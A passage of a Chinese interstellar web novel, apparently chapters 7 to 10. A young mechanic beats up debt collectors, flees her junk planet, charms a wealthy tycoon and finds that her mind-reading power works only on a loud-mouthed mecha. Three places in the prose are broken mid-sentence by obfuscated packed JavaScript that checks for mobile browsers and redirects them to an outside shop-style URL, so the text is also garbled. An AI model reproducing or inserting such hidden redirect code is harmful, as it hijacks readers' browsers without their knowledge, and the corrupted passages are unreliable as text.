时夕在脑海中呼叫系统,意识下线的心有灵犀系统是个断网基础版本,呆板的机械音毫无情绪起伏。 【开始技能安装……请宿主稍等片刻。】 工作的时候碰到熟人总是会不自觉地开始摸鱼聊天。 和时夕打招呼的人算是她的老顾客了,对于她的近况有所了解,他八卦问道:“欸,小时师傅,帕劳一家还没有消息呢?他们不会拿着你借给他们的钱跑了吧?” 都住在棚户区,又是邻里邻居的,多多少少会听到些传闻。 方丽三人走得突然,好好的房子没人住可惜了,不少人起了占地方的念头。 结果在撬锁时被时夕给发现了,她狠狠地修理了一顿那些不要脸的家伙,棚户区的人这才知道那一家三口是到其他星球看病去了。 后来又有蟹组公司的人轮番上门去时夕所住的小楼催债。 住在那个偏远方向的人只有她,见到蟹组的人次数多了大家慢慢猜到了她借钱这件事。 喜欢吃瓜是人的天性,他们不敢去找不好惹的蟹组公司打听情况,现在碰到好说话另一方当事人当然要好好唠上一唠。 听到这些或多或少怀揣着微妙恶意的问题,时夕满不在意地笑着摆摆手:“我相信帕劳叔和方姨的人品,他们不是这样的人。” 她说得坦然,好像一点也不在乎这笔钱到底拿不拿的回来。 这样的态度无疑进一步激发了好事者的看热闹心态,他继续说,“你是放心了,问题是蟹组公司的人那些人可不会放心你,我昨天还看到他们往你家那边走了,小时师傅你没事吧?” 时夕嘴角笑意扩大:“我能有啥事,这不好好地站在这和你舒舒服服地一起晒太阳吗。” 没听到意料之中的那个答案,问话的人悻悻然尴尬一笑。 他直起腰看向后方,忽然发现了一群气势汹汹看起来就不是善茬的人往这边走,转头又瞥了眼正在专心翻找废品堆的时夕。 有钱借给别人还要来和他们这些穷人抢资源,那就等着好好出丑吧。 看看等会儿还怎么嘴硬说没事。 周围捡垃圾的人群熙熙攘攘,说话的人也不止两人。 恰好此时系统的提示音响起,提示时夕: 【技能安装完毕,请宿主及时选定读心目标(注:目标一但选定不可更改,请宿主慎重选择)】 一想到自己马上就能开金手指,时夕心里那叫一个抑制不住的激动啊。 读心术欸!有读心术了她一定是全宇宙最善解人意的小女孩,抓住客户心里岂不是手到擒来。 相信不用多久,她就会赚钱暴富,当上主理人,出任CEO,迎娶高富帅,走上人生巅峰。 时夕扫了眼还站在她旁边的八卦老兄,嘴巴都快笑裂了,完全没有注意到身后逐渐逼近的危险。 她在脑海中对系统下令,准备来个三秒钟搞定的速战速决。 成败在此一举。 时夕刚闭上眼,蟹组催债小分队的人来到她身后。 站在侧边的领队注意到她的动作,火气升腾。 哎呦喂,一个欠债的见到债主居然敢闭眼无视,看来是敬酒吃多了,想改吃罚酒了。 这还说什么,直接动手。 领队毫不客气地抬手用力一推,他今天就是要给这欠债的家伙来点印象深刻的教训。 让老大知道他不敢动的人,他来动! 时夕眼前一片漆黑,毫无准备之下她被人猝不及防猛推,身体控制不住地向前栽倒。 说八卦的人早在催债人来着时就闪到了一边。 神经反射外加求生本能让时夕即将和土地亲密接触时,忍不住睁开眼获取视觉信息。 不睁开还好,这一睁眼…… 时夕双手撑在地面,眼前是一块破破烂烂不知道被埋在地里多少年的铁疙瘩。 还好她睁开眼了,不然和这铁疙瘩来一下,她鼻梁得塌方。 庆幸还没维持一秒,一道骤然想起的提示音迅速将她从充满美好期待的天堂打入前途一片黑暗的地狱。 【叮!技能加载完毕,祝你使用愉快!】 时夕瞬间僵住,她瞪大着那双翠绿色的眼睛,难以置信地盯着面前的铁疙瘩再三眨了眨。 什么!!!她的金手指怎么就加载成功了!!!?这不对吧? 愉快?这叫她怎么愉快! 时夕的心理防线被一块铁疙瘩轻松击破,她欲哭无泪地从地上爬起来。 被老天爷夺去金手指的她慷慨大方的赏给老天爷几个中指。 她仰头望天怒吼:“……老天爷你玩我呢!这破铁疙瘩有心吗!” 这突如其来的一嗓子给周围人吓一跳。 蟹组的人小声蛐蛐:“老大,她不会摔傻了吧?她要是变成傻子我们还能要到钱吗?” 领队语气坚定,“呵,就算傻了也要还钱!大不了把人拆开卖了还钱。” 发癫完毕的时夕倏然掉头。 她恶狠狠的视线死死锁住那群害得她读心术不翼而飞的罪魁祸首。 “老大,她还敢瞪我们!她这是给你脸色看啊,老大!” 领队不屑地哼了一声,正准备回瞪回去呢。 下一秒拳头就招呼到了他脸上。 满腔怒火无处发泄的时夕咬牙切齿,一拳比一拳用力。 “要债是吧!还钱是吧!敢推我是吧!” “啊——!” 还没来得及做出反应的领队倒在地上发出凄厉惨叫。 他的小弟们赶快跑过去制止时夕的暴行。 “你干什么!住手啊!你算个什么东西,也配动我们老大!” “我们老大是你能打的吗!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094618|195609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “……!” 面对警告时夕充耳不闻,还在继续发力,这次她还加上了脚。 手脚并用,拳拳到肉。 “不配是吧!暴力催收是吧!违法犯罪是吧!” 小弟们想扯住她的手,却被一把推开,那女人的手跟铁焊的一样怎么扒拉都纹丝不动。 场面顿时乱做一团,四周捡垃圾的人害怕被殃及跑了个精光。 一群小弟对时夕毫无办法只能干着急,他们根本打不过这女人。 他们老大还在惨叫,痛苦的呼声一声比一声高昂。 “啊啊——!啊——!住手——!” “住手个屁!老子今天打得就是你!” 时夕揪起鼻青脸肿的领队,扯着他领子疯狂大喊:“还我金手指啊!把金手指还给我!听到没有!” 见人快要晕过去了,她反手就是一巴掌。 “啪——!” 清脆的巴掌声震得一旁的小弟们动都不敢动,他们害怕自己过去下场就和老大一样。 他们可怜的老大都快不行了,那个胆大包天的疯女人竟然丝毫没有停手的打算。 “哈宝崽!给老子醒来!看老子今天揍不死你!” 又是啪啪两巴掌,手里的人跟死鱼一样,一动不动。 时夕嫌弃一把丢开,擦擦手朝着下一个发泄目标走去。 前车之鉴血淋淋直挺挺地躺在那,小弟们瑟瑟发抖, “你这个女人想干嘛!你不要过来啊——!” 他们错了,如果早知道这女人会这么猛,他们绝对会抄上热家伙。 可惜已经晚了。 这场一对多的单方面群殴,大概持续了整整的一个小时。 十五个身强体壮的大男人对上一个刚成年一天的小女孩,被揍得身上没一块好肉。 特别是最开始领队伸手推时夕的老大,他的手被硬生生碾成了粉碎性骨折。 这群人最后是被收到消息的蟹组其他人抬回去的。 等蟹组的人抄家伙急匆匆赶到时夕家里时,那里早就人去楼空,别说人影了,连个鬼影都见不着。 被下面子连丢大发的蟹组头头暴怒,当即下令在整个06小行星全面悬赏时夕。 人跑了他还怎么把季绥的那架机甲搞到手! * 蟹组公司的人打上门时。 揍完人脚底抹油开溜的时夕已经坐在了垃圾回收工厂的飞船上。 计划赶不上变化,这么一闹垃圾星肯定是不能待下去了,不然那群犯罪分子得把她给活刮了。 离开古厄坦星系的船票钱本来还差两千才攒够,今天又大出血,花了足足一万星币临时买到一个垃圾回收工厂的飞船票。 时夕现在周围都是居民们捡到回收的垃圾。 她戴好口罩,清理出一个勉强能坐的地方,努力忽视飞船引擎吵闹的轰鸣声。 时夕盯着舷窗外黑漆漆看不见什么亮光的宇宙发呆,她叹了口气。 唉,也是落魄了,在这个世界混了十多年,竟然沦落到乘坐垃圾舱的地步。 载满垃圾的小型运输飞船飞速驶离编号06小行星,朝着古厄坦星系,垃圾回收工厂总部所在的奈尔德星驶去。 8. 第 8 章 帝国南部,古厄坦星系,奈尔德星。 小型运输飞船平稳降落在这颗星球最大星港的临时泊位上。 舱门缓缓打开,两道身影出现在舱门口。 一道站在原地不动,另一道向下走去离开飞船。 临时泊位四周停满了飞船,星港客运区的泊位上竟然来了艘运输飞船,这一场景吸引了不少其他往来旅客的目光。 身形高挑的少女留着一头耀眼铂金色短发,脊背笔直,气质出众,她一转身,优越的外貌瞬间攫住所有人的视线。 众人短暂愣神后,注意到运输飞船上印着的垃圾回收工厂的标志。 眼底惊艳很快被溢出的嫌弃所取代。 垃圾星上出来的人,身上恐怕还带着垃圾的臭味,洗不干净的人,再好看也没用。 时夕无视周边人投来的目光,肉疼地将整整一万星币给人转过去。 听到星币入账的声音,垃圾回收场员工何右嘴角高高扬起,她真心实意地祝福道: “再见了,时夕,祝你旅途顺利。” 时夕白了一眼笑容灿烂的女人,“我谢谢你哦。” 刚走没两步,她又掉头抱怨,“不是我说,咱们都那么熟了,之前又不是没给你代购的跑腿费,这次你竟然好意思收我一万星币!趁火打劫啊!” 何右脸上的笑意没受到白眼的任何影响,她心情不错地解释, “我也是按照厂里的规矩办事而已,再说了,你都指定位置了,飞船绕路的燃料钱和泊位费肯定得你出,只收你一万星币都算是咱们的友情价了。” 时夕勉强接受了这个说法,她低头看着光脑上的照片,又追问道:“你确定一年前乘坐你们公司飞船的方姨一家也是在奈尔德星下船的?” 何右点头,语气肯定,“我帮你问过负责那趟运输的同事了,方丽一家三口确实是在这下的船,不过他们和你不一样,没出额外的费用到星港,是从我们公司总部离开的。” 何右和方丽一家并不熟悉,她入职的时间才一年多,如果不是时夕给她钱让她打听消息,她都不知道原来公司的运输飞船还能载垃圾星的人离开。 托时夕的福让她知道了一个赚外快的好方法,这不,立马就用上了。 得到保证,时夕的心又稍微往回落了几分,临走前她还不忘记提醒何右,让她小心蟹组的那群地痞流氓。 何右愿意伸出援手帮她一把,她不希望对方出事。 “放心好了,我好歹是垃圾回收工厂的正式员工,他们不敢把手伸到我这来的。” “那就再见了朋友,祝你工作顺利。” “借你吉言。” 短暂交谈后,舱门重新闭合,运输飞船很快驶离星港,两人就此分别。 * 奈尔德星作为古厄坦星系的交通枢纽星球,其所建星港规模庞大,来来往往的飞船星舰众多。 占地面积广泛,自然也就不好找路。 时夕心不在焉地看着光脑地图,按照图标指示走在行人众多路上。 她在心里盘算着,反正现在船票钱还不够,可以到处打听一下方姨一家的下落再决定之后的行动计划。 她低着头,没看到前面行色匆匆走来的一群人。 为首的人大腹便便,一脸富态,正脸红脖子粗地朝身边的人怒吼。 “不是说好图非大师马上能来吗!我在这破地方足足等了一个星期怎么还没见到人!知不知道时间就是金钱!” 身后像是秘书的人一直在安抚他的情绪,“老板你先消消气,既然大师已经答应你的要求,肯定不会放你鸽子的,我们再耐心等等吧。” “我能等,我的宝贝圆圆可等不了!他马上就要用了,正催着我送过去呢!” 巴奈特话音刚落地,就感觉到自己的肩膀撞上了什么。 他定睛一看,发现自己跟前正躺了个看起来年纪不大的小女孩。 目测还没他的圆圆大。 看起来弱不禁风的小女孩被他健硕的身躯给撞到了。 巴奈特连忙弯腰道歉,“不好意思啊,小朋友,我刚刚没看到你。” “——嘶!” 星港的地板冰冷坚硬,时夕手肘先着磕了一下,有点痛。 她躺在地上正想开口问候对方呢,结果刚睁开眼就被撞她的人脖子上挂着的那条硕大的粉钻项链给闪了一下。 哇塞,这就是星币堆砌出来耀眼火彩吗?真是差点没闪瞎她这穷鬼的眼睛。 上一秒,时夕还打算及坚强的自己起来。 下一秒,她默默把撑起的手收回去,龇牙咧嘴地躺在了地上,思考碰瓷成功的可能性。 “遵纪守法的良民”这个属性在时夕身上忽明忽暗。 巴奈特伸手将这可怜的小女孩从地上扶了起来。 等人刚站正,他二话不说打开光脑就近转账功能。 【叮!光脑账户到账:2万星币。】 时夕还没来得及发挥她精湛的演技,耳边就传来了一阵如听仙乐耳暂明的声音。 哇塞,身上的疼痛通通都消失了呢,神药啊! 头一次碰见这种赶着上来送钱的人,希望以后再多来几个。 巴奈特见小女孩还傻愣愣地定在那,皱眉问:“很严重吗?还是说很痛?” 时夕在脑海中组织感谢语言,一时没反应过来。 然后……又是一阵此曲只应天上有的声音。 【叮!光脑账户到账:2万星币】 摔了一跤净赚四万星币的时夕:……难怪那么多人碰瓷呢,现在她也要爱上了。 巴奈特:“小朋友,拿着钱去做身体检查吧。” 他把联系方式递给时夕,“等检查结果出来后,真有什么问题你可以联系我的秘书,他会帮忙处理的,不用害怕。” 时夕:?害怕?我这开心还来不及呢。 对方过于慷慨,这让时夕本就不多的良心隐隐作痛。 于是她向对方表示了真挚的感谢,“谢谢你大叔,我只是摔了一跤而已,应该没事的,这钱太多了,平白无故的我不能拿,我把星币给你转回去吧。” 时夕:别收别收!我装装样子客气一下而已。 巴奈特微笑,真是个有礼貌的好孩子,和他的圆圆一样,品格优秀,不为金钱所动。 “没事的,好孩子,收着吧,叔叔我还有事先走了,你记得去做身体检查。” 婉拒失败,“不为金钱所动”的小女孩名正言顺手下这笔检查费。 时夕站在原地目送逐渐远去的财神爷,不禁感慨,奈尔德星真是一个风水宝地啊,以后有机会要多来走走。 * 时夕最终还是拿着钱去了医院,不过不是为了检查她自己的身体,而是去查询方丽的相关就诊记录。 可惜的是帝国医疗系统注重病患隐私,她那么直愣愣跑去问,当然什么都打听不到。 不过寻人这件事不能着急,时夕找了家便宜的旅馆先暂时住了下来。 第二天,她去了些消息集中的地方,譬如酒吧,餐馆,这类三教九流混杂的场所消息传播速度比其他地方更快。 她很快就在星网上找到了一个口碑还算不错能帮忙查询病例的人。 狠下心花了三万块,时夕让那人找遍了奈尔德星的大大小小公立私立的医院,最后终于找到了来自编号06小行星方丽的就诊记录。 根据病例显示,一年前方丽确实是去了一家名为安琪天使的私人医院。 这家医院的诊疗费用相较于奈尔德星其他医院算是最便宜的,很符合方丽勤俭节约的风格。 时夕亲自去了那家医院,她自称是千里迢迢来给方丽送医药费的养女,张口就来了一段感天动地的孝顺事迹。 上辈子看的那些寻亲节目总算派上了用场。 她这些瞎编的故事可把医院的医生护士们给感动坏了。 这年头还有这么仁义孝顺的好孩子,真是不多见。 擦干净眼泪,他们告诉时夕,你的养母早在半年前就被一群人给接走了,他们也不知道究竟是哪里的人,不过看起来排场十足。 时夕听到这个消息,觉得有点离谱。 她清楚地知道方丽和帕劳生活在垃圾星多年,又有个能吃的托维要养,半大小子吃穷老子,两人平时生活拮据,根本没有渠道认识什么有钱有势的人。 消息的真假有待验证,时夕记住了医护人员提供的细节。 回到宾馆,打开房门的那一刻,她当即察觉到自己所住的房间有被人入侵过的痕迹。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094619|195609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>时夕清点好东西走去前台调取监控录像,她还没表达来意,就对上了旅馆工作人员那双躲躲闪闪的眼睛。 时夕脸上挂着的表情依然正常无比,她不动声色的向员工打听附近哪一家餐馆饭菜最好吃。 假意接受完推荐后,她转身离开旅馆拔腿就跑。 开玩笑,再继续待下去她就要被蟹组的那群王八蛋瓮中捉美女了。 现在会全宇宙找她的人大概就只有他们。 而且算算时间,两家公司之间的火拼应该结束了。 虽然不知道具体伤亡情况,只要他们用了她送的“礼物”想来战绩也好看不到哪里去。 逃命要紧,奈尔德星这个地方以后有机会再来。 * 时夕离开旅馆直奔星港。 她边跑边在线上查询离开古厄坦星系最近的一趟星舰。 身上的钱不够,没事,车到山前必有路,或许可以想想办法找某个船长舰长聊聊,她可以在星舰上干点事,让对方给她少点钱。 夜晚的星港灯火通明,客流量和白天没什么区别。 时夕去找星港的工作人员核实了船票到底能不能少钱这件事。 她得到的答案是,不能。只要是正规途径购买的船票都是明码标价,不能少一分钱的。 见小女孩的模样实在着急,工作人员好心提醒道,她可以去私人飞船停泊区那边看看,或许会有机会,最好去前面点的地方。 毕竟越靠前,私人星舰的泊位就越大,它的主人也越有钱,想必真正有钱又大方的富豪不会介意少那么几千块的船票钱。 时夕采纳了这个有用建议。 下了摆渡车,她马不停蹄的朝着私人飞船泊位区跑去。 人还没跑两步呢,身后就传来了一道十分熟悉,给她留下深刻印象的声音。 “欸!小朋友!你这么着急忙慌的是要去哪里呢。” 前几天的那一撞让巴奈特记住了这个像自家小孩的小女孩。 时夕转头,看到人后绿幽幽的眼睛霎时放光。 这不财神爷吗!太好了! 看到希望曙光的时夕朝着财神爷飞奔而去。 她奔跑的速度非常快,像一阵抓不住的风,动作轻灵,就连跑步姿势也很赏心悦目。 巴奈特看到时夕跑步的样子,又想到了他远在宇宙彼端的孩子。 他的圆圆跑步也这么快。 时夕在他面前停下,气都不带急喘的,脸不红心也跳。 “你好,又见面了,巴奈特先生。” 她落落大方地伸手:“对了,我上次还没做自我介绍,真是不好意思,我的名字是时夕,时间的时,夕阳的夕。” “你好,你好。” 两人友好握手,巴奈特身边并没有看到那两个哈腰点头的秘书。 时夕回答他问的上一个问题,说的直接:“我想快点离开古厄坦星系,但是我身上的星币不够,还差几千块钱,所以来这边看看不能和哪一位好心的船长商量一下给我减少一点船票钱,我愿意用工作来抵扣旅费。” 巴奈特一听,双手一拍大笑道:“那还真是巧了,我的星舰正好要从这破地方……” 意识到在小孩面前用词不妥当,他轻咳一声换了个说法,“我也要从这颗星球离开,去其他的星系,你要去的目的地是哪里,或许我可以顺便载你一程。” 时夕垂眸摇摇头,看起来神情有些低落,“我是个孤儿,从小在06小行星长大,我也不知道我要去哪里,不过我离开古厄坦星系是为了找我失踪的养父,希望在其他星系能有他的消息。” 老天爷作证,她说的可都是大实话。 巴奈特自从当了爸爸后就见不得有和自家小孩相似的孩子吃苦。 他每年都会给福利机构捐款,现在就有个需要帮助的小女孩站在他面前,他二话不说就答应道:“没事的孩子,你一定会找到你的养父的,来我船上吧,我不收你的星币,你可以把那些钱攒起来,用作之后找养父的资金。” 时夕擦了擦红彤彤的眼眶,吸了吸鼻子,“谢谢你,巴洛特先生,你真是个财……大好人!” OK,计划通。 就这样,卖得了一手好惨的时夕成功登上离开古厄坦星系的超豪华星舰。 9. 第 9 章 作为被星舰主人邀请上船的客人,时夕什么都不用做,每天吃了就睡,睡了就吃,把前些天欠着的觉一次性全补了回来。 轻松享受了两天大脑放空的日子,等到第三天,闲不住的时夕开始参观这艘超豪华星舰。 参观到半路,她看见一脸苦恼的巴奈特枯坐在那借酒消愁。 好歹是帮了她忙的好人,时夕赶紧上前表忠心,啊,不对是表示关心。 “巴奈特先生,你怎么了?有什么事情是我能帮忙的吗?” 登上星舰前,防止被坏人抛尸宇宙冻成冰棍,谨慎起见时夕特地在星网上检索过这位热情富商的生平信息。 巴奈特·钱宁,洛维兰帝国东部星域知名的企业家,慈善家。其家族产业遍布五大星域,据说在某些星网野榜上,他的全部身家能挤进帝国前五十。 时夕望着检索出来的信息不停咋舌。 我滴个乖乖,帝国这么大,前五十名!这么有钱的大财主也是被她走狗屎运给碰上了。 如此有实力的金大腿摆在眼前,她当然得想尽办法抱一抱,蹭蹭财气。 骨气这种东西可以暂时丢到一边。 这位富豪脖子上挂着的粉钻项链还是那样的闪烁,散发出迷人的光芒。 时夕强行把视线从上面移开,对上圆头圆脑圆肚皮大叔的圆脸。 见人一直不说话,她赶忙补充道:“如果不方便说的话,就当我没问好了。” 瞧瞧,这话说得多么善解人意。 巴奈特想到刚刚冷漠地把他光脑通讯挂掉的圆圆,两相对比,差距让他感到痛心疾首。 孩子长大了,有自己想法了,再也不是当初那个被他架在脖子上会软软糯糯叫爸爸的圆圆了。 算了,这次是他食言了,圆圆生气也是应该的。 想通了的巴奈特不再伤心,见时夕手边空荡荡的,知道她才成年没几天,他让人端上一瓶东部星域小孩们都喜欢喝的红莓果树汁。 “尝尝吧,东部星域的特产,圆圆小时候爱喝的饮料,我想你也会喜欢的。” 时夕道谢,双手摸着温热的杯子,低头嗅了嗅,闻起来甜甜的,弥漫着果香味,送到嘴边轻抿一口。 哎呦不错哟,尝起来很像草莓味,她真的喜欢。 巴奈特单手托着下巴,忧郁摇摇头,“只是一个小问题而已,我有东西坏掉了,结果提前预约的修理师日程变动,暂时来不了了。” “唉,看来我也是喝醉了,竟然和你一个小孩子倾吐这些苦恼。” 时夕瞥了眼吧台上才喝了三分之一不到的小半杯酒,嘴角忍不住抽了抽。 她把手里的小孩饮料一饮而尽,放到一边再次确认道:“也就是说,巴奈特先生你有东西需要修理是吧?” 巴奈特点头:“是的。” 得到肯定答案,捕捉到“修理”这个关键词,时夕瞬间来劲了。 她从高脚椅上猛然起身,惊喜大喊:“修东西我最会了!我都修了十多年了,是经验丰富的老师傅,找我就对了!” 巴奈特此时被酒精搞得晕乎乎的,丧失了基本的判断能力。 他一听,瞪大眼惊呼:“真的?小夕你真的会修?那太好了,说不定你比那可恶的放我鸽子的图非还要厉害呢。” 时夕不知道他口中说的这位“图非”是谁,她向来自信。 管他是谁呢,在自己擅长的领域就要大声地承认自己的优秀! 时·拍一拍大法使用者·垃圾星小家电维修专业户·夕,骄傲地昂首挺胸,用销冠的语气大言不惭保证道:“巴奈特先生,你就放心交给我好了,我堵上我老师傅的名号,一定不会让你失望的!” 正愁没事做呢,人家好心不收她船票钱,她也不能真的厚脸皮的什么都不干。 巴奈特为她的这份自信鼓掌。 “啪——啪——啪!” “好!我相信你小夕,没想到你年纪轻轻就这么优秀,居然是能和图非大师比肩的老师傅,你的养父还真是教导有方!” 真的希望哪天有机会能拜访一下时夕的这位养父,向他取取育儿经,问问他到底是怎么教出这么优秀懂事的小孩的。 讲来讲去,两人完全没有发现,他们还没沟通过要修理的具体是什么东西。 双方都是极具行动力的人,约定好了说做就做。 微醺的巴奈特亲自带领时夕来到她接下来的工作地点。 “小夕你就在里面放心大胆地修吧,里面各种工具齐全,在你修理期间不会有人来打扰你的。” 他又补充道:“对了,千万不要有什么心理负担,反正我找了很多人都没修好,你如果也没修好也不要气馁。” 时夕表情松快,她比了个“OK”的手势,“行,等我的好消息。” 她麻利地撸起袖子转身抬脚跨进舱门。 她就不相信了还有什么东西能难道她这个工作经验十二年的老师傅。 * 三十分钟后,修理室内。 高达十米,沉默无声的钢铁巨人前,站着一道被机甲衬得格外渺小的身影。 纤细的身影仿佛一颗刚移栽的树,定在那里一动不动,是根彻彻底底标准的木头。 打脸来得太快就像龙卷风。 被风吹成傻逼的时夕倒吸一口凉气,她眨眨眼,抬手摸了摸仰头太久酸痛的脖子。 边按摩后脖颈,边龇牙咧嘴。 嘶!这老师傅名号,俺不要也罢。 再说了,她还年轻,垃圾星上的居民们叫她“小时师傅”来着,不是什么老师傅。 没错,她压根就没有“老师傅”的名号,所以不存在什么要不要的问题。 心理建设重建完毕,时夕毅然决然转身。 不带这么搞的啊喂!她就一臭修小家电的,哪里会修理什么能和星空兽对对碰高级又昂贵的机甲嘛!这不为难人吗! 失策了失策了,下次放大话前一定要打听一下具体情况。 时夕迈开大长腿,前脚刚走没两步,后脚就听到了一阵情绪暴躁的声音。 【讨厌豹纹!讨厌豹纹!讨厌豹纹!重要的事情说三遍!老子讨厌豹纹啊!靠靠靠!丑死了!】 空荡荡的机甲修理室内仅有时夕一人的呼吸声。 兀然响起的抱怨声凭空出现,回荡在空旷空间内的每一个角落。 时夕顿时被吓得一激灵,她翠绿色的瞳孔骤缩,暴露在空气中的手臂汗毛竖起,鸡皮疙瘩倏然浮现。 她操纵着自己僵硬的脖子一帧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094620|195609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一帧卡壳转头回望。 什么都没有啊!那声音从哪里来的! 真是活见鬼的了! 时夕从空间钮内掏出一把季绥留下的能量枪,双手紧握,警惕地举至胸前。 她厉声质问:“是谁在说话!?快出来!不要躲躲藏藏的!” 暴躁的声音就跟没听到她的话一样,还在持续单方面输出: 【麦艾斯!麦艾斯!啊啊啊!老子的眼睛要被豹纹丑瞎了!顶着这身豹纹我还怎么出去见人!】 时夕:……等等,豹纹? 她仔细环视一圈,视线最终落到正前方那台被涂满“野性豹纹”浑身散发着非洲大草原般自由不羁气质的机甲之上。 科技高度发达的星际社会,无论是帝国和还是联邦,机甲狂热爱好者众多。 人们的日常生活中充斥着各类机甲的身影,观赏型,工业型,量产型……当然其中最受瞩目最受欢迎的当属能够从星空兽的吞天巨口中保护星球与民众免受伤害的战斗机甲。 这类装载武器,荷枪实弹攻击力强悍的战斗兵器,等级由高到低,总共分为SSS-SS-S-A-B-C-D七级,S级以上为高阶机甲,数量稀少。 战斗型机甲并不是所有人都有资格拥有的,甚至连机甲师都不能随随便便设计军用机甲,只有通过专门考核获取证书的机甲师才有权利设计修理军用制式机甲。 机甲这种遥不可及的东西,垃圾星的居民只能在星网上看看图片浏览视频来了解。 时夕从来只看脚下现实的道路,对这类高大上的东西不太感兴趣。 不过她好歹之前给托维做过玩具模型,因此辨认出了矗立在她眼前的这架高大的机甲是一架综合型战斗机甲。 每个人都有秘密,时夕不会刻意去探究为什么身为富商和军方无关的巴奈特会拥有配备武器的战斗机甲这件事。 就好比她,她手上不也有一部季绥留下机甲吗,不过那台和眼前这台貌似存在巨大的差别。 时夕望着那架“野性豹纹”机甲无语半晌:…… 她终于想起来了大明湖畔消失不见的金手指。 坑爹呢!说好了读心术?结果告诉她,她那天看到的那个铁疙瘩的原来是一架机甲吗? 不是吧?机甲之心也算心? 都穿越异世界了,还要给她搞科幻电影里的机械觉醒那一套吗? 吐槽完毕,时夕收枪,以拳抵唇轻咳两声。 既然有“心”能飙星际通用语,应该能够和平沟通吧。 时夕开始第一次尝试和这架“野性豹纹”先生沟通, “……那个,这位英俊潇洒帅气无比的机甲先生,要不我叫你主人给你改个涂装?” 听声音是男的,叫先生总没错。 “野性豹纹”这次终于不再无视时夕了。 【哎呦我去!你能听见我的声音啊!真实大白天见鬼了哦!】 时夕:你们机甲也搞封建迷信这一套呢? 表达完惊讶,“野性豹纹”发话了:【好!你顺便告诉他老子喜欢火红色!】 【鲜艳的火红色一定会让老子成为战场上最亮的崽!秒杀其他机甲!】 时夕眼角抽搐:……还是架爱耍帅的机甲,真有个性。 10. 第 10 章 时夕遵守承诺,委婉地建议巴奈特或许可以尝试把机甲的涂装由野性豹纹改成火红色。 酒还没醒的巴奈特不明所以,“涂装也会影响机甲的使用性能吗?” 这豹纹可是他从上百种涂装中精心挑选的,很喜欢,不太想改。 时夕:别人家的机甲或许不会被影响,但是你家的已经暴躁跳脚了。 她尬笑两声:“我已经检查过了,这架机甲的内部并未出现问题,里面找不到突破口,就只能试试外面了。” 就冲时夕的这一句话,巴奈特选择采纳她的建议。 为了修好这架的机甲他已经找了不少东部星域知名的机甲师。 但那些花高价请来的机甲师统一得出的结论都是,机甲一切完好,并不任何问题,完全可以正常使用。 巴奈特觉得那些机甲师都是再瞎说,如果机甲真的没有问题为什么他还是无法启动它也无法驾驶它! 花了钱也没有解决问题,他彻底对东部的机甲师失望了。 就在此时,他得知图非大师恰好在南部星域。 如果是这位毕业于帝国老牌军校,在中央星域声名大噪,最年轻的二级机甲师一定能修理好这架机甲的吧! 抱着这种期待,巴奈特千里迢迢的从东部星域跑到南部星域。 好不容易找关系联系上了图非大师,结果对方一拖再拖,拖到最后竟然直接放了他的鸽子! 机甲一直没修好,圆圆又催得着急,巴奈特这才死马当活马医借着酒意相信了时夕这位脸生面嫩一看就不太靠谱的自称“机甲师”。 反正只是改个涂装而已,不费钱也不会对机甲造成什么实质上的损伤。 * 时间来到第二天。 有钱人的行动力真不是盖的。 时夕望着眼前这架换肤成功的机甲,眨眨眼。 她悄咪咪上手感受了一把这质感高级一看就价格不菲的涂装。 别说,火红色鲜艳亮眼确实好看,和之前的充满原始气息的野心豹纹比起来,现在的机甲光从外表上就提升了不止一个档次,称得上一句“机中靓仔”。 巴奈特心情激动地搓了搓手,脸上的笑容简直比脖子上挂着的大粉钻还要闪亮。 他喜出望外地握住时夕双手,热情上下摇晃着: “小夕,不对,我现在应该改口叫你时大师才对!” 巴奈特成功重启更改涂装后的机甲后,时夕在他心里的形象一瞬间变得高大起来。 当今社会,机甲师是十分受欢迎的职业,能修理S级机甲的高等级机甲师更是令万人敬仰的存在。 没想到他运气会这么好,竟然随随便便的就在星港撞上了一位作风低调埋名隐姓的机甲大师。 他继续表达感谢:“时大师啊!你果然是一位经验丰富的老师傅!比我花高价从帝星请来的二级修理师还要厉害!” 那位一直没有露面的图非,在巴奈特口中,已经从“大师”沦为了普普通通“修理师”。 反观时夕,她既然能修好东部星域那些机甲师们都束手无策,甚至是图非都看不出什么问题的机甲。 这说明什么?这说明她肯定要比上面这些人厉害啊! 至于没在热门知名机甲师排行榜上看见她的名字? 巴奈特表示:都是小问题,大师作风特殊一点很正常,这叫有个性! 被热烈感谢的人木着张脸瞥了眼在他身后矗立着的火红色机甲。 只对“机甲之心”起作用的读心术又自动发动了。 时夕:……你知道你的机甲正在骂你傻X吗? 【哈哈哈,这大傻X还以为是你修好老子的呢。】 